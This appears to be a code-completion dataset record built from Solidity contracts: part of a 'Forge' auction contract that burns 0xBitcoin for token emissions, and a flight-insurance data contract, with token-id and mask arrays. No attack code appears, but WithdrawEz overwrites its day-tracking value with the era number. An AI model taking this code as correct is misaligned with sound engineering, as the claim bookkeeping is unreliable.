emission.mult(8*106).div(100); if(diff != 0){ if( diff < expected ) { uint excess_block_pct = (expected.mult(100)).div( diff ); uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000); // If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100. //make it longer since we are not mining enough secondsPerDay = secondsPerDay.add(secondsPerDay.mult(excess_block_pct_extra).div(1000)); //by up to 100 % }else{ uint shortage_block_pct = (diff.mult(100)).div( expected ); uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000 //make it shorter since we are mining too many secondsPerDay = secondsPerDay.sub(secondsPerDay.mult(shortage_block_pct_extra).div(2000)); //by up to 50 % } }else{ secondsPerDay = secondsPerDay * 2; } if(secondsPerDay <= 5) { secondsPerDay = 10; } lastMinted = tokensMinted; } //Bids for Whole Era function WholeEraBurn0xBTCForMember(address member, uint256 _0xbtcAmountTotal) public returns (bool success) { uint256 daysleft = daysPerEra - currentDay - 1 ;//just incase FutureBurn0xBTCEasier(currentEra, currentDay, daysleft, member, _0xbtcAmountTotal); return true; } //Bids for Future in consequitive days function FutureBurn0xBTCEasier(uint _era, uint startingday, uint totalNumberrOfDays, address _member, uint _0xbtcAmountTotal) public returns (bool success) { uint[] memory dd = new uint[](totalNumberrOfDays); uint[] memory amt = new uint[](totalNumberrOfDays); uint y=0; for(uint x=startingday; x< (startingday+totalNumberrOfDays); x++) { dd[y] = x; amt[y] = _0xbtcAmountTotal/totalNumberrOfDays; y++; } FutureBurn0xBTCArrays(_era, dd, _member, amt); return true; } //Burns any amount for any day(s) in any order function FutureBurn0xBTCArrays(uint _era, uint[] memory fdays, address _member, uint[] memory _0xbtcAmount) public returns (bool success) { uint256 stricttotal =0; uint256 _daysPerEra=daysPerEra; uint _currentEra = currentEra; uint _currentday = currentDay; require(_era >= currentEra, "no knucklehead only bid on this era"); for(uint256 x = 0; x < fdays.length; x++) { uint256 dayamt = _0xbtcAmount[x]; if(_era == _currentEra) { require(fdays[x] >= currentDay, "Must not bid behind the days"); } require(fdays[x] <= _daysPerEra, "Cant bid on days not in era"); stricttotal = stricttotal.add(dayamt); _recordBurn(msg.sender, _member, _era, fdays[x], dayamt); } require(IERC20(AddressZeroXBTC).transferFrom(msg.sender, AddressForgeToken, stricttotal), "NO OTHER WAY, send it the required 0xBitcoin"); emit BurnMultipleDays(msg.sender, _member, _era, fdays.length, stricttotal); return true; } function burn0xBTCForMember(address member, uint256 _0xbtcAmount) public returns (bool success) { uint day = currentDay; require(IERC20(AddressZeroXBTC).transferFrom(msg.sender, AddressForgeToken, _0xbtcAmount), "NO WAY, requires 0xBTC send"); _recordBurn(msg.sender, member, currentEra, currentDay, _0xbtcAmount); emit Burn(msg.sender, member, currentEra, day, _0xbtcAmount, mapEraDay_Units[currentEra][currentDay]); return true; } // Internal - Records burn function _recordBurn(address _payer, address _member, uint _era, uint _day, uint _eth) private { if (mapEraDay_MemberUnits[_era][_day][_member] == 0){ // If hasn't contributed to this Day yet mapMemberEra_Days[_member][_era].push(_day); // Add it mapEraDay_MemberCount[_era][_day] += 1; // Count member mapEraDay_Members[_era][_day].push(_member); // Add member } mapEraDay_MemberUnits[_era][_day][_member] += _eth; // Add member's share mapEraDay_UnitsRemaining[_era][_day] += _eth; // Add to total historicals mapEraDay_Units[_era][_day] += _eth; // Add to total outstanding totalBurnt += _eth; // Add to total burnt _updateEmission(); // Update emission Schedule } //======================================WITHDRAWAL======================================// // Used to efficiently track participation in each era function getDaysContributedForEra(address member, uint era) public view returns(uint){ return mapMemberEra_Days[member][era].length; } // Call to withdraw a claim function withdrawShare(uint era, uint day) external returns (uint value) { uint memberUnits = mapEraDay_MemberUnits[era][day][msg.sender]; assert (memberUnits != 0); // Get Member Units value = _withdrawShare(era, day, msg.sender); } // Call to withdraw a claim for another member function withdrawShareForMember(uint era, uint day, address member) public returns (uint value) { uint memberUnits = mapEraDay_MemberUnits[era][day][member]; assert (memberUnits != 0); // Get Member Units value = _withdrawShare(era, day, member); return value; } // Internal - withdraw function function _withdrawShare (uint _era, uint _day, address _member) private returns (uint value) { _updateEmission(); if (_era < currentEra) { // Allow if in previous Era value = _processWithdrawal(_era, _day, _member); // Process Withdrawal } else if (_era == currentEra) { // Handle if in current Era if (_day < currentDay) { // Allow only if in previous Day value = _processWithdrawal(_era, _day, _member); // Process Withdrawal } } return value; } //To change your claiming if somehow error occurs function z_ChangeMaxWithdrawl( uint newMaxDay, uint newMaxEra) public returns (bool success){ ZmapMember_DayClaimedTo[msg.sender] = newMaxDay; ZmapMember_EraClaimedTo[msg.sender] = newMaxEra; return true; } //Super easy auction redeeming function WithdrawEasiest() public { WithdrawEz(msg.sender); } //Helper Function for efficent redeeming of auctions function WithdrawEz(address _member) public { uint startingday = ZmapMember_DayClaimedTo[_member]; uint startingera = ZmapMember_EraClaimedTo[_member]; if(startingday == 0) { startingday = 1; } if(startingera == 0) { startingera = 1; } uint maxDay=1; for(uint y=startingera; y <= currentEra; y++){ if(y != currentEra){ maxDay = daysPerEra; }else{ maxDay = currentDay - 1; } uint[] memory dd = new uint[](maxDay-startingday+1); for(uint x=startingday; x<= maxDay; x++) { dd[x-startingday] = x ; } WithdrawlsDays(y, dd, _member); } ZmapMember_DayClaimedTo[_member] = maxDay; ZmapMember_DayClaimedTo[_member] = currentEra; } function Check_Withdraw_Amt(address _member) public view returns(uint amt) { uint startingday = ZmapMember_DayClaimedTo[_member]; uint startingera = ZmapMember_EraClaimedTo[_member]; if(startingday == 0) { startingday = 1; } if(startingera == 0) { startingera = 1; } uint maxDay=1; uint totz = 0; for(uint y=startingera; y <= currentEra; y++){ if(y != currentEra){ maxDay = daysPerEra; }else{ maxDay = currentDay - 1; } uint[] memory dd = new uint[](maxDay-startingday+1); for(uint x=startingday; x<= maxDay; x++) { dd[x-startingday] = x ; } totz = totz + Check_Withdrawls_Days(y, dd, _member); } return totz; } //Withdraws All days in era for member function Check_Withdrawls_Days(uint _era, uint[] memory fdays, address _member) public view returns (uint check) { uint256 stricttotal = 0; for(uint256 x = 0; x < fdays.length; x++) { if (_era < currentEra) { // Allow if in previous Era uint memberUnits = mapEraDay_MemberUnits[_era][fdays[x]][_member]; if (memberUnits!= 0) { stricttotal = stricttotal + getEmissionShare(_era, fdays[x], _member); } } else if (_era == currentEra) { // Handle if in current Era if (fdays[x] < currentDay) { // Allow only if in previous Day uint memberUnits = mapEraDay_MemberUnits[_era][fdays[x]][_member]; if (memberUnits!= 0) { stricttotal = stricttotal + getEmissionShare(_era, fdays[x], _member); } } } } return stricttotal*4; } //Withdraws All days in era for member function WithdrawlsDays(uint _era, uint[] memory fdays, address _member) public returns (bool success) { uint256 stricttotal = 0; for(uint256 x = 0; x < fdays.length; x++) { if (_era < currentEra) { // Allow if in previous Era stricttotal = stricttotal.add( _processWithdrawalRETURNSVAL (_era, fdays[x], _member) ); // Process Withdrawal } else if (_era == currentEra) { // Handle if in current Era if (fdays[x] < currentDay) { // Allow only if in previous Day stricttotal = stricttotal.add( _processWithdrawalRETURNSVAL (_era, fdays[x], _member) ); // Process Withdrawal } } } IERC20(AddressForgeToken).transfer(_member, stricttotal); emit MegaWithdrawal(msg.sender, _member, _era, fdays.length, stricttotal); return true; } function _processWithdrawalRETURNSVAL (uint _era, uint256 _day, address _member) private returns (uint256 value) { uint memberUnits = mapEraDay_MemberUnits[_era][_day][_member]; // Get Member Units if (memberUnits == 0) { value = 0; // Do nothing if 0 (prevents revert) } else { value = getEmissionShare(_era, _day, _member); // Get the emission Share for Member mapEraDay_MemberUnits[_era][_day][_member] = 0; // Set to 0 since it will be withdrawn mapEraDay_UnitsRemaining[_era][_day] = mapEraDay_UnitsRemaining[_era][_day].sub(memberUnits); // Decrement Member Units mapEraDay_EmissionRemaining[_era][_day] = mapEraDay_EmissionRemaining[_era][_day].sub(value); // Decrement emission totalEmitted += value*4; //We emit all in one transfer. } return value*4; } function _processWithdrawal (uint _era, uint _day, address _member) private returns (uint value) { uint memberUnits = mapEraDay_MemberUnits[_era][_day][_member]; // Get Member Units if (memberUnits == 0) { value = 0; // Do nothing if 0 (prevents revert) } else { value = getEmissionShare(_era, _day, _member); // Get the emission Share for Member mapEraDay_MemberUnits[_era][_day][_member] = 0; // Set to 0 since it will be withdrawn mapEraDay_UnitsRemaining[_era][_day] = mapEraDay_UnitsRemaining[_era][_day].sub(memberUnits); // Decrement Member Units mapEraDay_EmissionRemaining[_era][_day] = mapEraDay_EmissionRemaining[_era][_day].sub(value); // Decrement emission totalEmitted += value*4; emit Withdrawal(msg.sender, _member, _era, _day, value*4, mapEraDay_EmissionRemaining[_era][_day]); // ERC20 transfer function IERC20(AddressForgeToken).transfer(_member, value*4); // 8,192 tokens a auction aka almost half the supply an era! } return value*4; } //======================================EMISSION========================================// function getEmissionShare(uint era, uint day, address member) public view returns (uint value) { uint memberUnits = mapEraDay_MemberUnits[era][day][member]; // Get Member Units if (memberUnits == 0) { return 0; // If 0, return 0 } else { uint totalUnits = mapEraDay_UnitsRemaining[era][day]; // Get Total Units uint emissionRemaining = mapEraDay_EmissionRemaining[era][day]; // Get emission remaining for Day uint balance = IERC20(AddressForgeToken).balanceOf(address(this)); // Find remaining balance if (emissionRemaining > balance) { emissionRemaining = balance; } // In case less than required emission value = (emissionRemaining * memberUnits) / totalUnits; // Calculate share return value; } } // Internal - Update emission function function _updateEmission() private { uint _now = block.timestamp; // Find now() if (_now > nextDayTime) { // If time passed the next Day time if (currentDay >= daysPerEra) { // If time passed the next Era time currentEra += 1; currentDay = 0; // Increment Era, reset Day emission = getNextEraEmission(); // Get correct emission mapEra_Emission[currentEra] = emission; // Map emission to Era emit NewEra(currentEra, emission, totalBurnt); } changeAuctionAmt(); currentDay += 1; // Increment Day nextDayTime = _now + secondsPerDay; // Set next Day time emission = getDayEmission(); totalAuctioned = totalAuctioned + emission*4; // Check daily Dmission mapEraDay_EmissionRemaining[currentEra][currentDay] = emission; // Map emission to Day uint _era = currentEra; uint _day = currentDay-1; if(currentDay == 1){ _era = currentEra-1; _day = daysPerEra; } // Handle New Era emit NewDay(currentEra, currentDay, nextDayTime, mapEraDay_Units[_era][_day], mapEraDay_MemberCount[_era][_day]); } } // Calculate Era emission function getNextEraEmission() public view returns (uint) { if (emission > coin) { // Normal Emission Schedule return emission / 2; // Emissions: 2048 -> 1.0 } else{ // Enters Fee Era return coin; // Return 1.0 from fees } } function getSecondsPerDay() public view returns (uint256) { return secondsPerDay; // Return 1.0 from fees } // Calculate Day emission function getDayEmission() public view returns (uint) { uint balance = (totalEmitted + IERC20(AddressForgeToken).balanceOf(address(this))) - totalAuctioned; // Find remaining balance if (balance > emission*4) { // Balance is sufficient return emission; // Return emission } else { // Balance has dropped low return balance/4; // Return full balance } } function z_transferERC20TokenToMinerContract(address tokenAddress) public returns (bool success) { require(tokenAddress != AddressZeroXBTC && tokenAddress != AddressForgeToken); return IERC20(tokenAddress).transfer(AddressForgeToken, IERC20(tokenAddress).balanceOf(address(this))); } //Do not allow ETH to enter receive() external payable { revert(); } fallback() external payable { revert(); } } /* * * MIT License * =========== * * Copyright (c) 2022 Forge * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */
always between 0 and 1000
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000);
12,567,708
[ 1, 17737, 3086, 374, 471, 4336, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 7734, 2254, 3025, 410, 67, 2629, 67, 23989, 67, 7763, 273, 3025, 410, 67, 2629, 67, 23989, 18, 1717, 12, 6625, 2934, 3595, 30899, 12, 18088, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ uint8 private constant STATUS_CODE_ON_TIME = 10; address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false address private authorizeAppContract; // Account allowed to access this contract uint256 private airlineInitialFundAmount = 10 ether; // airlines have to pay 10 ether. this can be changed by contract owner. helper function provided. uint256 private flightInsuranceCapAmount = 1 ether; // auser can buy insurance by paying upto 1 ether. mapping(address => Airline) private registeredAirlinesMap; address[] private registeredAirlineArray = new address[](0); mapping(address => mapping(address => bool)) private addressToVoteCountMapping; //this his helper mapping will be used to delete all entry from addressToVoteCountMapping and //then from iteself after the pending airline is registered with enought votes. //this is done to efficiently save storage and gas because solidity do not provide a way to //delete key from mapping if mapping is typeof like mapping(address => mapping(address=> bool)); //see its utilization in deletePendingAirlineFromPool method below mapping(address => address[]) private pendingAirlineMapping; struct Airline { string name; bool isRegistered; bool hasFunded; } struct Flight { bool isRegistered; uint8 statusCode; uint256 updatedTimestamp; address airline; string name; } mapping(bytes32 => Flight) private flights; struct Insured { bool isInsured; string flightName; address[] insuredPassengers; mapping(address => uint256) insuredAmountMapping; } mapping(bytes32 => Insured) boughtInsurance; mapping(address => uint256) userWallet; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ event WalletCredited(address indexed userWalletAddress, uint256 amount, string creditReason); /** * @dev Constructor * The deploying account becomes contractOwner */ constructor(address firstAirline, string name) public { contractOwner = msg.sender; //creating first airline during deployment of data contract. registeredAirlineArray.push(firstAirline); registeredAirlinesMap[firstAirline] = Airline(name, true, false); } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } /** * @dev Modifier that requires the registered APP contract account to be the function caller */ modifier requireAuthorizeCaller() { require(msg.sender == authorizeAppContract, "Caller is not authorize contract"); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() public view returns (bool) { return operational; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus(bool mode) external requireContractOwner { require(mode != operational, "New mode must be different from existing mode"); operational = mode; } /** * @dev Sets airlineInitialFundAmount */ function setAirlineInitialFundAmount(uint256 amount) public requireContractOwner { require(amount != airlineInitialFundAmount, "New amount must be different from existing amount"); airlineInitialFundAmount = amount; } /** * @dev gets airlineInitialFundAmount */ function getAirlineInitialFundAmount() external view requireAuthorizeCaller returns (uint256) { return airlineInitialFundAmount; } /** * @dev gets flightInsuranceCapAmount */ function getFlightInsuranceCapAmount() external view requireAuthorizeCaller returns (uint256) { return flightInsuranceCapAmount; } /** * @dev checks if flightKey exists or not i.e check if flight is registered */ function isFlightExists( address airline, string flight, uint256 timestamp ) external view requireAuthorizeCaller returns (bool) { return flights[getFlightKey(airline, flight, timestamp)].isRegistered; } /** * @dev Sets registeredAppAddress app contract address * * this allow only registeredAppAddress to call data contract */ function authorizeCaller(address allowedAddress) public requireContractOwner { require(authorizeAppContract != allowedAddress, "New authorizeCaller must be different from existing authorizeCaller"); authorizeAppContract = allowedAddress; } /** * @dev dummy method to test if isOperational working or not * * this is for fullfill setTestingMode test requirements */ function setTestingMode(bool value) public view requireIsOperational { value = false; //to remove turffle compile warning. } /********************************************************************************************/ /* APP DATA HELPER FUNCTIONS */ /********************************************************************************************/ /** * @dev method to check if airline already registered or not. */ function isAirlineExists(address airlineAddress) external view requireAuthorizeCaller returns (bool) { return registeredAirlinesMap[airlineAddress].isRegistered; } /** * @dev method to check if airline already registered or not. called from app contract */ function hasAirlineFunded(address airlineAddress) external view requireAuthorizeCaller returns (bool) { return registeredAirlinesMap[airlineAddress].hasFunded; } /** * @dev method to check if airline already registered or not. called from app contract */ function getRegisteredAirlineArr() external view requireAuthorizeCaller returns (address[] memory) { return registeredAirlineArray; } /** * @dev adding new airline into the waiting pool of voting approval. * if newAirlineToBeRegistrered wants to be added, 50% vote must be gained by registered & funded voters */ function addToNewAirlineVotePool(address newAirlineToBeRegistrered, address msgSenderAddress) external requireAuthorizeCaller { addressToVoteCountMapping[newAirlineToBeRegistrered][msgSenderAddress] = true; pendingAirlineMapping[newAirlineToBeRegistrered].push(msgSenderAddress); } /** * this methods return true if msgSenderAddress added newAirlineToBeRegistrered address in pending registration pool and msgSenderAddress has funded too. * it can be said that if true, this mean msgSenderAddress has given his vote in newAirlineToBeRegistrered favour */ function addedToPoolAndHasFunded(address pendingRegistration, address msgSenderAddress) external view requireAuthorizeCaller returns (bool) { return (registeredAirlinesMap[msgSenderAddress].hasFunded && addressToVoteCountMapping[pendingRegistration][msgSenderAddress]); } /** * @dev get number of votes for the airline which is pending its registration due to not enough voteshare. * registeredAirline : this is the address of airline which has already been registered * pendingAirline : this is the address of airline which is pending registration * Returns : */ function isAirlinInForRegistration(address pendingAirline, address registeredAirline) external view requireAuthorizeCaller returns (bool) { return addressToVoteCountMapping[pendingAirline][registeredAirline]; } /** * pendingAirline has got enough vote to be included in registered flight. * this function removes it from addressToVoteCountMapping pool. */ function deletePendingAirlineFromPool(address pendingAirline) external requireAuthorizeCaller { for (uint256 i = 0; i < pendingAirlineMapping[pendingAirline].length; i++) { //deleting all mapping for pendingAirline, becuase it is now registered. delete addressToVoteCountMapping[pendingAirline][pendingAirlineMapping[pendingAirline][i]]; } //now delete the array itself.solidity allow this delete from mapping delete pendingAirlineMapping[pendingAirline]; } /** * get user balance */ function getUserBalance(address userAddress) external view requireAuthorizeCaller returns (uint256) { return userWallet[userAddress]; } /** * @dev method to check if insurance already bought for a flight. */ function isInsuranceAlreadyBought( address airline, string flight, uint256 timestamp ) external view requireAuthorizeCaller returns (bool) { bytes32 flightKey = getFlightKey(airline, flight, timestamp); return boughtInsurance[flightKey].isInsured; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * no need to check if requireIsOperational, app data will check it, just check requireAuthorizeCaller */ function registerAirline(address airlineAddress, string name) external requireAuthorizeCaller { //just register Airline. no need validation. the logic will be applied in app contract. registeredAirlineArray.push(airlineAddress); registeredAirlinesMap[airlineAddress] = Airline(name, true, false); } /** * @dev Buy insurance for a flight * no validation needed, validation done by app contract */ function buy( address airline, string flight, uint256 timestamp, address userAddress ) external payable requireAuthorizeCaller { require(now < timestamp, "Insurance for flight which have alredy flew not allowed."); require(msg.value > 0 && msg.value <= flightInsuranceCapAmount, "invalid amount given for insurance buying"); bytes32 flightKey = getFlightKey(airline, flight, timestamp); boughtInsurance[flightKey].isInsured = true; boughtInsurance[flightKey].flightName = flight; boughtInsurance[flightKey].insuredPassengers.push(userAddress); boughtInsurance[flightKey].insuredAmountMapping[userAddress] = msg.value; } /** * @dev Credits payouts to insurees * do not pay directly, just credit users wallet */ function creditInsurees(bytes32 flightKey) external requireAuthorizeCaller { require(boughtInsurance[flightKey].isInsured, "You have not insured yourself"); address[] memory insuredPeopleArr = boughtInsurance[flightKey].insuredPassengers; for (uint256 i = 0; i < insuredPeopleArr.length; i++) { uint256 amountToCredit = boughtInsurance[flightKey].insuredAmountMapping[insuredPeopleArr[i]].mul(3).div(2); //credit 1.5 times, can be made configurable // debit before credit boughtInsurance[flightKey].insuredAmountMapping[insuredPeopleArr[i]] = 0; //now credit user wallet. userWallet[insuredPeopleArr[i]] = userWallet[insuredPeopleArr[i]] + amountToCredit; emit WalletCredited( insuredPeopleArr[i], amountToCredit, string(abi.encodePacked("Insuracne amount credited to your wallet for flight no. ", boughtInsurance[flightKey].flightName)) ); } //delete references if (insuredPeopleArr.length > 0) { //dIs for (uint256 k = 0; k < insuredPeopleArr.length; k++) { delete boughtInsurance[flightKey].insuredAmountMapping[insuredPeopleArr[k]]; } //delete array now delete boughtInsurance[flightKey].insuredPassengers; } //delete paidPlayers; } /** * @dev Transfers eligible payout funds to insuree * */ function pay(address userAddress) external requireAuthorizeCaller { uint256 userBalance = userWallet[userAddress]; require(userBalance > 0, "User balance is nil"); // debit before credit delete userWallet[userAddress]; //now credit user wallet. userAddress.transfer(userBalance); } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining */ function fund(address senderAddress) external payable requireAuthorizeCaller { if (msg.value == airlineInitialFundAmount) registeredAirlinesMap[senderAddress].hasFunded = true; } function getFlightKey( address airline, string memory flight, uint256 timestamp ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } /** * register flight, this data will be used to show in client app */ function registerFlight( address airline, string flight, uint256 timestamp ) external requireAuthorizeCaller { bytes32 flightKey = getFlightKey(airline, flight, timestamp); flights[flightKey] = Flight(true, STATUS_CODE_ON_TIME, timestamp, airline, flight); } /** * @dev Fallback function for funding smart contract. * */ function() external payable { this.fund(msg.sender); } }
* this methods return true if msgSenderAddress added newAirlineToBeRegistrered address in pending registration pool and msgSenderAddress has funded too. it can be said that if true, this mean msgSenderAddress has given his vote in newAirlineToBeRegistrered favour/
function addedToPoolAndHasFunded(address pendingRegistration, address msgSenderAddress) external view requireAuthorizeCaller returns (bool) { return (registeredAirlinesMap[msgSenderAddress].hasFunded && addressToVoteCountMapping[pendingRegistration][msgSenderAddress]); }
14,112,404
[ 1, 2211, 2590, 327, 638, 309, 1234, 12021, 1887, 3096, 394, 29752, 1369, 15360, 20175, 264, 329, 1758, 316, 4634, 7914, 2845, 471, 1234, 12021, 1887, 711, 9831, 785, 4885, 18, 225, 518, 848, 506, 7864, 350, 716, 309, 638, 16, 333, 3722, 1234, 12021, 1887, 711, 864, 18423, 12501, 316, 394, 29752, 1369, 15360, 20175, 264, 329, 18180, 477, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 3096, 774, 2864, 1876, 5582, 42, 12254, 12, 2867, 4634, 7843, 16, 1758, 1234, 12021, 1887, 13, 3903, 1476, 2583, 18987, 11095, 1135, 261, 6430, 13, 288, 203, 202, 202, 2463, 261, 14327, 29752, 3548, 863, 63, 3576, 12021, 1887, 8009, 5332, 42, 12254, 597, 1758, 774, 19338, 1380, 3233, 63, 9561, 7843, 6362, 3576, 12021, 1887, 19226, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0xc3C944750A79e3c7A3dD8bb74b3D293AbE86D916/sources/browser/MyWill.sol
using Strings for string;using Address for address;文件hash对应的区块号ipfs hash对应的区块号
